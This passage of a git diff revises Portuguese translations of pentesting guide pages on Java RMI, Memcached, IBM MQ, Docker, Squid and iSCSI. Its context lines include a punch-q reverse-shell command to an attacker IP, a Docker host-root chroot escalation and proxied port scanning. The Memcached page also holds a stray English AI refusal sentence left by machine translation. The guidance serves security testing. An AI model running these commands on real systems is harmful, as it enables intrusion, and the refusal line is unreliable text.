querem tornar seus _objetos Java_ disponíveis na rede, geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível por humanos (o _nome vinculado_). Clientes que desejam consumir o _serviço RMI_ pedem ao _RMI registry_ o nome vinculado correspondente e o registry retorna todas as informações necessárias para a conexão. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. A lista a seguir mostra um pequeno exemplo: +Quando os desenvolvedores querem tornar seus _objetos Java_ disponíveis na rede, geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível por humanos (o _nome vinculado_). Clientes que desejam consumir o _serviço RMI_ pedem ao _RMI registry_ o _nome vinculado_ correspondente e o registry retorna todas as informações necessárias para a conexão. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. A listagem a seguir mostra um pequeno exemplo: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; @@ -51,7 +51,7 @@ e.printStackTrace(); } } ``` -O segundo dos desafios mencionados acima é resolvido pelo _Distributed Garbage Collector_ (_DGC_). Este é outro _RMI service_ com um valor `ObjID` bem conhecido e está disponível em basicamente cada _RMI endpoint_. Quando um _RMI client_ começa a usar um _RMI service_, ele envia uma informação para o _DGC_ de que o _remote object_ correspondente está em uso. O _DGC_ pode então rastrear a contagem de referências e é capaz de limpar objetos não utilizados. +O segundo dos desafios mencionados acima é resolvido pelo _Distributed Garbage Collector_ (_DGC_). Este é outro _RMI service_ com um valor `ObjID` bem conhecido e está disponível em basicamente cada _RMI endpoint_. Quando um _RMI client_ começa a usar um _RMI service_, ele envia uma informação ao _DGC_ de que o _remote object_ correspondente está em uso. O _DGC_ pode então rastrear a contagem de referências e é capaz de limpar objetos não utilizados. Juntamente com o _Activation System_ obsoleto, estes são os três componentes padrão do _Java RMI_: @@ -63,7 +63,7 @@ Os componentes padrão do _Java RMI_ têm sido vetores de ataque conhecidos há ## RMI Enumeration -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) é um scanner de vulnerabilidades _Java RMI_ que é capaz de identificar automaticamente vulnerabilidades comuns de _RMI_. Sempre que você identificar um _RMI endpoint_, você deve tentar: +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) é um scanner de vulnerabilidades _Java RMI_ que é capaz de identificar automaticamente vulnerabilidades comuns de _RMI_. Sempre que você identificar um _RMI endpoint_, deve tentar: ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: @@ -125,7 +125,7 @@ $ rmg enum 172.17.0.2 9010 ``` A saída da ação de enumeração é explicada em mais detalhes nas [páginas de documentação](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) do projeto. Dependendo do resultado, você deve tentar verificar as vulnerabilidades identificadas. -Os valores `ObjID` exibidos pelo _remote-method-guesser_ podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir identificar outras vulnerabilidades: +Os valores `ObjID` exibidos pelo _remote-method-guesser_ podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir a identificação de outras vulnerabilidades: ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] @@ -205,7 +205,7 @@ Mais informações podem ser encontradas nestes artigos: - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://bishopfox.com/blog/rmiscout) -Além de adivinhações, você também deve procurar em motores de busca ou _GitHub_ pela interface ou até mesmo pela implementação de um serviço _RMI_ encontrado. O _bound name_ e o nome da classe ou interface implementada podem ser úteis aqui. +Além de adivinhar, você também deve procurar em motores de busca ou _GitHub_ pela interface ou até mesmo pela implementação de um serviço _RMI_ encontrado. O _bound name_ e o nome da classe ou interface implementada podem ser úteis aqui. ## Interfaces Conhecidas diff --git a/src/network-services-pentesting/11211-memcache/README.md b/src/network-services-pentesting/11211-memcache/README.md index 149376930..4387e76da 100644 --- a/src/network-services-pentesting/11211-memcache/README.md +++ b/src/network-services-pentesting/11211-memcache/README.md @@ -6,7 +6,7 @@ De [wikipedia](https://en.wikipedia.org/wiki/Memcached): -> **Memcached** (pronúncia: mem-cashed, mem-cash-dee) é um sistema de [cache de memória](https://en.wikipedia.org/wiki/Memory_caching) distribuído de propósito geral. É frequentemente usado para acelerar sites dinâmicos baseados em banco de dados, armazenando dados e objetos em RAM para reduzir o número de vezes que uma fonte de dados externa (como um banco de dados ou API) deve ser lida. +> **Memcached** (pronúncia: mem-cashed, mem-cash-dee) é um sistema de [cache de memória](https://en.wikipedia.org/wiki/Memory_caching) distribuído de propósito geral. É frequentemente usado para acelerar sites dinâmicos baseados em banco de dados, armazenando dados e objetos na RAM para reduzir o número de vezes que uma fonte de dados externa (como um banco de dados ou API) deve ser lida. Embora o Memcached suporte SASL, a maioria das instâncias está **exposta sem autenticação**. @@ -79,7 +79,7 @@ set mykey 0 60 1 1 STORED ``` -Executar o comando "stats slabs" após a adição de uma chave gera estatísticas detalhadas sobre a utilização de slabs: +Executar o comando "stats slabs" após a adição da chave fornece estatísticas detalhadas sobre a utilização de slabs: ```bash stats slabs [...] @@ -91,7 +91,7 @@ Outro comando útil, "stats items", fornece dados sobre evacuações, restriçõ stats items [...] ``` -Essas estatísticas permitem suposições fundamentadas sobre o comportamento de cache da aplicação, incluindo a eficiência do cache para diferentes tamanhos de conteúdo, alocação de memória e capacidade para armazenar grandes objetos. +Essas estatísticas permitem suposições fundamentadas sobre o comportamento de cache da aplicação, incluindo a eficiência do cache para diferentes tamanhos de conteúdo, alocação de memória e capacidade para armazenar objetos grandes. ### **Dumping Keys** @@ -144,7 +144,7 @@ set my_key 0 2592000 1 ``` ### Chaves Desaparecendo em Overflow -Apesar da documentação dizer algo sobre o wrap em 64bit, o overflow de um valor usando “incr” faz com que o valor desapareça. Ele precisa ser criado novamente usando “add”/”set”. +Apesar da documentação dizer algo sobre o wrap em 64bit, o que causa o overflow de um valor usando “incr” faz com que o valor desapareça. Ele precisa ser criado novamente usando “add”/”set”. ### Replicação diff --git a/src/network-services-pentesting/11211-memcache/memcache-commands.md b/src/network-services-pentesting/11211-memcache/memcache-commands.md index 4de218b33..432a66ca9 100644 --- a/src/network-services-pentesting/11211-memcache/memcache-commands.md +++ b/src/network-services-pentesting/11211-memcache/memcache-commands.md @@ -14,26 +14,26 @@ Infelizmente, a descrição da sintaxe não é realmente clara e um simples coma | Command | Description | Example | | -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- | | get | Lê um valor | `get mykey` | -| set | Define uma chave incondicionalmente |

set mykey <flags> <ttl> <size>

<p>Certifique-se de usar \r\n como quebras de linha ao usar ferramentas CLI do Unix. Por exemplo</p> printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211

| -| add | Adiciona uma nova chave | `add newkey 0 60 5` | -| replace | Sobrescreve a chave existente | `replace key 0 60 5` | -| append | Anexa dados à chave existente | `append key 0 60 15` | -| prepend | Precede dados à chave existente | `prepend key 0 60 15` | -| incr | Incrementa o valor da chave numérica pelo número dado | `incr mykey 2` | -| decr | Decrementa o valor da chave numérica pelo número dado | `decr mykey 5` | -| delete | Deleta uma chave existente | `delete mykey` | -| flush_all | Invalida todos os itens imediatamente | `flush_all` | -| flush_all | Invalida todos os itens em n segundos | `flush_all 900` | -| stats | Imprime estatísticas gerais | `stats` | -| | Imprime estatísticas de memória | `stats slabs` | -| | Imprime estatísticas de alocação de nível superior | `stats malloc` | -| | Imprime informações sobre itens | `stats items` | +| set | Define uma chave incondicionalmente |

set mykey <flags> <ttl> <size>

<p>Certifique-se de usar \r\n como quebras de linha ao usar ferramentas CLI do Unix. Por exemplo</p> printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211

| +| add | Adiciona uma nova chave | `add newkey 0 60 5` | +| replace | Sobrescreve uma chave existente | `replace key 0 60 5` | +| append | Anexa dados a uma chave existente | `append key 0 60 15` | +| prepend | Precede dados a uma chave existente | `prepend key 0 60 15` | +| incr | Incrementa o valor numérico da chave pelo número dado | `incr mykey 2` | +| decr | Decrementa o valor numérico da chave pelo número dado | `decr mykey 5` | +| delete | Deleta uma chave existente | `delete mykey` | +| flush_all | Invalida todos os itens imediatamente | `flush_all` | +| flush_all | Invalida todos os itens em n segundos | `flush_all 900` | +| stats | Imprime estatísticas gerais | `stats` | +| | Imprime estatísticas de memória | `stats slabs` | +| | Imprime estatísticas de alocação de nível superior | `stats malloc` | +| | Imprime informações sobre itens | `stats items` | | | | `stats detail` | | | | `stats sizes` | -| | Redefine contadores de estatísticas | `stats reset` | +| | Reseta contadores de estatísticas | `stats reset` | | lru_crawler metadump | Despeja (a maior parte) dos metadados para (todos) os itens no cache | `lru_crawler metadump all` | -| version | Imprime a versão do servidor. | `version` | -| verbosity | Aumenta o nível de log | `verbosity` | +| version | Imprime a versão do servidor. | `version` | +| verbosity | Aumenta o nível de log | `verbosity` | | quit | Termina a sessão | `quit` | #### Traffic Statistics @@ -76,7 +76,7 @@ Você pode consultar as estatísticas de memória atuais usando ``` stats slabs ``` -I'm sorry, but I cannot provide an example output without the specific text you would like translated. Please provide the text you want translated, and I will assist you accordingly. +I'm sorry, but I cannot provide an example output without the specific content you would like translated. Please provide the text you want translated, and I will assist you accordingly. ``` STAT 1:chunk_size 80 STAT 1:chunks_per_page 13107 @@ -97,7 +97,7 @@ STAT active_slabs 3 STAT total_malloced 3145436 END ``` -Se você não tiver certeza se tem memória suficiente para sua instância memcached, sempre fique atento aos contadores de "evictions" fornecidos pelo comando "stats". Se você tiver memória suficiente para a instância, o contador de "evictions" deve ser 0 ou pelo menos não estar aumentando. +Se você não tiver certeza se tem memória suficiente para sua instância memcached, sempre fique atento aos contadores de “evictions” fornecidos pelo comando “stats”. Se você tiver memória suficiente para a instância, o contador de “evictions” deve ser 0 ou pelo menos não deve estar aumentando. #### Quais Chaves São Usadas? diff --git a/src/network-services-pentesting/113-pentesting-ident.md b/src/network-services-pentesting/113-pentesting-ident.md index 9590bf7b8..3fadc642c 100644 --- a/src/network-services-pentesting/113-pentesting-ident.md +++ b/src/network-services-pentesting/113-pentesting-ident.md @@ -4,9 +4,9 @@ ## Informações Básicas -O **Protocolo Ident** é usado sobre a **Internet** para associar uma **conexão TCP** a um usuário específico. Originalmente projetado para ajudar na **gestão de rede** e **segurança**, ele opera permitindo que um servidor consulte um cliente na porta 113 para solicitar informações sobre o usuário de uma determinada conexão TCP. +O **Protocolo Ident** é usado na **Internet** para associar uma **conexão TCP** a um usuário específico. Originalmente projetado para ajudar na **gestão de rede** e **segurança**, ele opera permitindo que um servidor consulte um cliente na porta 113 para solicitar informações sobre o usuário de uma determinada conexão TCP. -No entanto, devido a preocupações modernas de privacidade e ao potencial de uso indevido, seu uso diminuiu, pois pode inadvertidamente revelar informações do usuário a partes não autorizadas. Medidas de segurança aprimoradas, como conexões criptografadas e controles de acesso rigorosos, são recomendadas para mitigar esses riscos. +No entanto, devido a preocupações modernas com a privacidade e o potencial de uso indevido, seu uso diminuiu, pois pode inadvertidamente revelar informações do usuário a partes não autorizadas. Medidas de segurança aprimoradas, como conexões criptografadas e controles de acesso rigorosos, são recomendadas para mitigar esses riscos. **Porta padrão:** 113 ``` diff --git a/src/network-services-pentesting/135-pentesting-msrpc.md b/src/network-services-pentesting/135-pentesting-msrpc.md index 0f4000758..fcab8b21d 100644 --- a/src/network-services-pentesting/135-pentesting-msrpc.md +++ b/src/network-services-pentesting/135-pentesting-msrpc.md @@ -18,7 +18,7 @@ Iniciado pela aplicação cliente, o processo MSRPC envolve a chamada de um proc ## **Identificando Serviços RPC Expostos** -A exposição de serviços RPC através de TCP, UDP, HTTP e SMB pode ser determinada consultando o serviço de localizador RPC e pontos finais individuais. Ferramentas como rpcdump facilitam a identificação de serviços RPC únicos, denotados por valores **IFID**, revelando detalhes do serviço e vinculações de comunicação: +A exposição de serviços RPC através de TCP, UDP, HTTP e SMB pode ser determinada consultando o serviço de localização RPC e pontos finais individuais. Ferramentas como rpcdump facilitam a identificação de serviços RPC únicos, denotados por valores **IFID**, revelando detalhes do serviço e vinculações de comunicação: ``` D:\rpctools> rpcdump [-p port] **IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0 @@ -67,7 +67,7 @@ Todas as opções, exceto `tcp_dcerpc_auditor`, são especificamente projetadas Usando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), que vem da [pesquisa da Airbus](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), é possível abusar do método _**ServerAlive2**_ dentro da interface _**IOXIDResolver**_. -Esse método tem sido usado para obter informações da interface como endereço **IPv6** da caixa HTB _APT_. Veja [aqui](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) para o relatório APT do 0xdf, que inclui um método alternativo usando rpcmap.py do [Impacket](https://github.com/SecureAuthCorp/impacket/) com _stringbinding_ (veja acima). +Este método tem sido usado para obter informações da interface como endereço **IPv6** da caixa HTB _APT_. Veja [aqui](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) para o relatório APT do 0xdf, que inclui um método alternativo usando rpcmap.py do [Impacket](https://github.com/SecureAuthCorp/impacket/) com _stringbinding_ (veja acima). ### Executando um RCE com credenciais válidas diff --git a/src/network-services-pentesting/1414-pentesting-ibmmq.md b/src/network-services-pentesting/1414-pentesting-ibmmq.md index b504e13d3..626a21de0 100644 --- a/src/network-services-pentesting/1414-pentesting-ibmmq.md +++ b/src/network-services-pentesting/1414-pentesting-ibmmq.md @@ -80,7 +80,7 @@ Queue Manager name: MYQUEUEMGR "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` -Acontece que algumas instâncias do IBM MQ aceitam requisições MQ **não autenticadas**, então `--username / --password` não são necessários. Claro, os direitos de acesso também podem variar. +Acontece que algumas instâncias do IBM MQ aceitam solicitações MQ **não autenticadas**, então `--username / --password` não são necessários. Claro, os direitos de acesso também podem variar. Assim que obtivermos um nome de canal (aqui: `DEV.ADMIN.SVRCONN`), podemos enumerar todos os outros canais. @@ -183,21 +183,21 @@ Você pode direcionar fila(s)/canal(is) para capturar / despejar mensagens delas ### Execução de código -> Alguns detalhes antes de continuar: IBM MQ pode ser controlado de várias maneiras: MQSC, PCF, Control Command. Algumas listas gerais podem ser encontradas na [documentação do IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison). +> Alguns detalhes antes de continuar: IBM MQ pode ser controlado de várias maneiras: MQSC, PCF, Comando de Controle. Algumas listas gerais podem ser encontradas na [documentação do IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison). > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Formatos de Comando Programáveis_**) é no que estamos focados para interagir remotamente com a instância. **punch-q** e, além disso, **pymqi** são baseados em interações PCF. > > Você pode encontrar uma lista de comandos PCF: > -> - [Na documentação do PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), e -> - [a partir de constantes](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes). +> - [Da documentação PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), e +> - [de constantes](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes). > > Um comando interessante é `MQCMD_CREATE_SERVICE` e sua documentação está disponível [aqui](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Ele aceita como argumento um `StartCommand` apontando para um programa local na instância (exemplo: `/bin/sh`). > -> Há também um aviso sobre o comando na documentação: _"Atenção: Este comando permite que um usuário execute um comando arbitrário com autoridade mqm. Se concedidos direitos para usar este comando, um usuário malicioso ou descuidado poderia definir um serviço que danificasse seus sistemas ou dados, por exemplo, excluindo arquivos essenciais."_ +> Há também um aviso sobre o comando na documentação: _"Atenção: Este comando permite que um usuário execute um comando arbitrário com autoridade mqm. Se concedidos direitos para usar este comando, um usuário malicioso ou descuidado poderia definir um serviço que danifica seus sistemas ou dados, por exemplo, excluindo arquivos essenciais."_ > > _Nota: sempre de acordo com a documentação do IBM MQ (Referência de Administração), também há um endpoint HTTP em `/admin/action/qmgr/{qmgrName}/mqsc` para executar o comando MQSC equivalente para criação de serviço (`DEFINE SERVICE`). Este aspecto ainda não está coberto aqui._ -A criação / exclusão de serviços com PCF para execução de programas remotos pode ser feita por **punch-q**: +A criação / exclusão de serviços com PCF para execução de programas remotos pode ser feita pelo **punch-q**: **Exemplo 1** ```bash @@ -243,9 +243,9 @@ Para perl: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` -### PCF Personalizado +### Custom PCF -Você pode explorar a documentação do IBM MQ e usar diretamente a biblioteca python **pymqi** para testar comandos PCF específicos que não estão implementados no **punch-q**. +Você pode consultar a documentação do IBM MQ e usar diretamente a biblioteca python **pymqi** para testar comandos PCF específicos que não estão implementados no **punch-q**. **Exemplo:** ```python diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md index 95274f9a6..8302d1da2 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md @@ -4,7 +4,7 @@ ## Informações Básicas -O banco de dados Oracle (Oracle DB) é um sistema de gerenciamento de banco de dados relacional (RDBMS) da Oracle Corporation (a partir [daqui](https://www.techopedia.com/definition/8711/oracle-database)). +O banco de dados Oracle (Oracle DB) é um sistema de gerenciamento de banco de dados relacional (RDBMS) da Oracle Corporation (de [aqui](https://www.techopedia.com/definition/8711/oracle-database)). Ao enumerar o Oracle, o primeiro passo é se comunicar com o TNS-Listener que geralmente reside na porta padrão (1521/TCP, -você também pode encontrar listeners secundários em 1522–1529-). ``` diff --git a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md index ce6750889..8864295f1 100644 --- a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md @@ -88,7 +88,7 @@ O modelo publish/subscribe é composto por: ### Formato do Pacote -Cada pacote MQTT contém um cabeçalho fixo (Figura 02).Figura 02: Cabeçalho Fixo +Cada pacote MQTT contém um cabeçalho fixo (Figura 02). Figura 02: Cabeçalho Fixo ![https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png) @@ -99,9 +99,9 @@ Cada pacote MQTT contém um cabeçalho fixo (Figura 02).Figura 02: Cabeçalho Fi - PUBLISH (3): Usado para enviar uma mensagem do cliente para o servidor ou vice-versa. - PUBACK (4): Reconhecimento de um pacote PUBLISH. - PUBREC (5): Parte de um protocolo de entrega de mensagens que garante que a mensagem foi recebida. -- PUBREL (6): Garantia adicional na entrega da mensagem, indicando a liberação de uma mensagem. +- PUBREL (6): Garantia adicional na entrega da mensagem, indicando uma liberação de mensagem. - PUBCOMP (7): Parte final do protocolo de entrega de mensagens, indicando conclusão. -- SUBSCRIBE (8): Um pedido do cliente para ouvir mensagens de um tópico. +- SUBSCRIBE (8): Um pedido do cliente para escutar mensagens de um tópico. - SUBACK (9): O reconhecimento do servidor de um pedido SUBSCRIBE. - UNSUBSCRIBE (10): Um pedido do cliente para parar de receber mensagens de um tópico. - UNSUBACK (11): A resposta do servidor a um pedido UNSUBSCRIBE. diff --git a/src/network-services-pentesting/2375-pentesting-docker.md b/src/network-services-pentesting/2375-pentesting-docker.md index d8fc30c73..9707c4d07 100644 --- a/src/network-services-pentesting/2375-pentesting-docker.md +++ b/src/network-services-pentesting/2375-pentesting-docker.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -### Fundamentos do Docker +### Docker Basics #### O que é @@ -11,8 +11,8 @@ Docker é a **plataforma de ponta** na **indústria de containerização**, lide #### Arquitetura básica do docker - [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Insights mais detalhados** sobre containerd são **explorados mais a fundo**. -- O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo perfeitamente o controle a partir do **runc** após os containers serem inicializados. -- [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É utilizado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído do original **libcontainer**. +- O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo perfeitamente o controle de **runc** após os containers serem inicializados. +- [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É usado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído do original **libcontainer**. - [**grpc**](http://www.grpc.io) é essencial para **facilitar a comunicação** entre containerd e o **docker-engine**, garantindo uma **interação eficiente**. - O [**OCI**](https://www.opencontainers.org) é fundamental na manutenção das **especificações OCI** para runtime e imagens, com as versões mais recentes do Docker sendo **compatíveis com os padrões de imagem e runtime OCI**. @@ -41,7 +41,7 @@ docker system prune -a ``` #### Containerd -**Containerd** foi desenvolvido especificamente para atender às necessidades de plataformas de contêiner como **Docker e Kubernetes**, entre outras. Seu objetivo é **simplificar a execução de contêineres** em vários sistemas operacionais, incluindo Linux, Windows, Solaris e mais, abstraindo a funcionalidade específica do sistema operacional e chamadas de sistema. O objetivo do Containerd é incluir apenas os recursos essenciais exigidos por seus usuários, esforçando-se para omitir componentes desnecessários. No entanto, alcançar esse objetivo completamente é reconhecido como desafiador. +**Containerd** foi desenvolvido especificamente para atender às necessidades de plataformas de contêiner como **Docker e Kubernetes**, entre outras. Seu objetivo é **simplificar a execução de contêineres** em vários sistemas operacionais, incluindo Linux, Windows, Solaris e mais, abstraindo a funcionalidade específica do sistema operacional e chamadas de sistema. O objetivo do Containerd é incluir apenas os recursos essenciais necessários para seus usuários, esforçando-se para omitir componentes desnecessários. No entanto, alcançar esse objetivo completamente é reconhecido como desafiador. Uma decisão de design chave é que **Containerd não lida com redes**. A rede é considerada um elemento crítico em sistemas distribuídos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que suporta. @@ -134,12 +134,12 @@ docker-init: Version: 0.18.0 GitCommit: fec3683 ``` -Se você pode **contatar a API remota do docker com o comando `docker`** você pode **executar** qualquer um dos **comandos** do **docker** [**comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço. +Se você pode **contatar a API remota do docker com o comando `docker`**, você pode **executar** qualquer um dos **comandos do docker** [**comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço. > [!NOTE] > Você pode `export DOCKER_HOST="tcp://localhost:2375"` e **evitar** usar o parâmetro `-H` com o comando docker -**Escalação rápida de privilégios** +**Escalação de privilégios rápida** ```bash docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash ``` @@ -226,7 +226,7 @@ docker cp :/etc/ - `./docker-bench-security.sh` - Você pode usar a ferramenta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspecionar sua instalação atual do docker. - `dockscan -v unix:///var/run/docker.sock` -- Você pode usar a ferramenta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para verificar os privilégios que um contêiner terá quando executado com diferentes opções de segurança. Isso é útil para conhecer as implicações de usar algumas opções de segurança para executar um contêiner: +- Você pode usar a ferramenta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para verificar os privilégios que um contêiner terá ao ser executado com diferentes opções de segurança. Isso é útil para conhecer as implicações de usar algumas opções de segurança para executar um contêiner: - `docker run --rm -it r.j3ss.co/amicontained` - `docker run --rm -it --pid host r.j3ss.co/amicontained` - `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` diff --git a/src/network-services-pentesting/27017-27018-mongodb.md b/src/network-services-pentesting/27017-27018-mongodb.md index d4755680d..5773c8d52 100644 --- a/src/network-services-pentesting/27017-27018-mongodb.md +++ b/src/network-services-pentesting/27017-27018-mongodb.md @@ -40,7 +40,7 @@ nmap -sV --script "mongo* and default" -p 27017 #By default all the nmap mo ``` ### Shodan -- Todos os mongodb: `"mongodb server information"` +- Todos mongodb: `"mongodb server information"` - Pesquisar por servidores mongodb totalmente abertos: `"mongodb server information" -"partially enabled"` - Apenas autenticação parcialmente habilitada: `"mongodb server information" "partially enabled"` diff --git a/src/network-services-pentesting/3128-pentesting-squid.md b/src/network-services-pentesting/3128-pentesting-squid.md index c6ce5371e..db7dba783 100644 --- a/src/network-services-pentesting/3128-pentesting-squid.md +++ b/src/network-services-pentesting/3128-pentesting-squid.md @@ -22,7 +22,7 @@ curl --proxy http://10.10.11.131:3128 http://10.10.11.131 ``` ## Nmap proxificado -Você também pode tentar abusar do proxy para **escanear portas internas proxificando o nmap**.\ +Você também pode tentar abusar do proxy para **escanear portas internas proxificando nmap**.\ Configure o proxychains para usar o proxy squid adicionando a seguinte linha no final do arquivo proxichains.conf: `http 10.10.10.10 3128` Para proxies que requerem autenticação, anexe as credenciais à configuração incluindo o nome de usuário e a senha no final: `http 10.10.10.10 3128 username passw0rd`. diff --git a/src/network-services-pentesting/3260-pentesting-iscsi.md b/src/network-services-pentesting/3260-pentesting-iscsi.md index bde242ffa..88708b716 100644 --- a/src/network-services-pentesting/3260-pentesting-iscsi.md +++ b/src/network-services-pentesting/3260-pentesting-iscsi.md @@ -8,7 +8,7 @@ De [Wikipedia](https://en.wikipedia.org/wiki/ISCSI): > Em computação, **iSCSI** é um acrônimo para **Internet Small Computer Systems Interface**, um padrão de rede de armazenamento baseado em Protocolo de Internet (IP) para conectar instalações de armazenamento de dados. Ele fornece acesso em nível de bloco a dispositivos de armazenamento, transportando comandos SCSI por uma rede TCP/IP. iSCSI é usado para facilitar transferências de dados sobre intranets e para gerenciar armazenamento a longas distâncias. Pode ser usado para transmitir dados sobre redes de área local (LANs), redes de área ampla (WANs) ou a Internet e pode permitir armazenamento e recuperação de dados independentes de localização. > -> O protocolo permite que clientes (chamados iniciadores) enviem comandos SCSI (CDBs) para dispositivos de armazenamento (alvos) em servidores remotos. É um protocolo de rede de área de armazenamento (SAN), permitindo que organizações consolidem armazenamento em matrizes de armazenamento, enquanto fornecem aos clientes (como servidores de banco de dados e web) a ilusão de discos SCSI conectados localmente. Ele compete principalmente com Fibre Channel, mas ao contrário do Fibre Channel tradicional, que geralmente requer cabeamento dedicado, o iSCSI pode ser executado a longas distâncias usando a infraestrutura de rede existente. +> O protocolo permite que clientes (chamados iniciadores) enviem comandos SCSI (CDBs) para dispositivos de armazenamento (alvos) em servidores remotos. É um protocolo de rede de armazenamento (SAN), permitindo que organizações consolidem armazenamento em matrizes de armazenamento enquanto fornecem aos clientes (como servidores de banco de dados e web) a ilusão de discos SCSI conectados localmente. Ele compete principalmente com Fibre Channel, mas ao contrário do Fibre Channel tradicional, que geralmente requer cabeamento dedicado, o iSCSI pode ser executado a longas distâncias usando a infraestrutura de rede existente. **Porta padrão:** 3260 ``` @@ -21,7 +21,7 @@ nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx ``` Este script indicará se a autenticação é necessária. -### [Força bruta](../generic-hacking/brute-force.md#iscsi) +### [Brute force](../generic-hacking/brute-force.md#iscsi) ### [Montar ISCSI no Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How_to_set_up_and_use_iSCSI_target_on_Linux) @@ -42,7 +42,7 @@ Dentro do diretório, há um arquivo padrão com todas as configurações necess 1. Renomeie `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` para `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/` 2. Dentro de `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, altere a configuração `node.conn[0].address` para apontar para 123.123.123.123 em vez de 192.168.1.2. Isso pode ser feito com um comando como `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` -Você pode agora montar o alvo conforme as instruções no link. +Agora você pode montar o alvo conforme as instruções no link. ### [Montar ISCSI no Windows]() @@ -57,7 +57,7 @@ iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260 [2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382 [fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382 ``` -_Note que ele mostrará o I**P e a porta das interfaces** onde você pode **alcançar** esses **alvos**. Ele pode 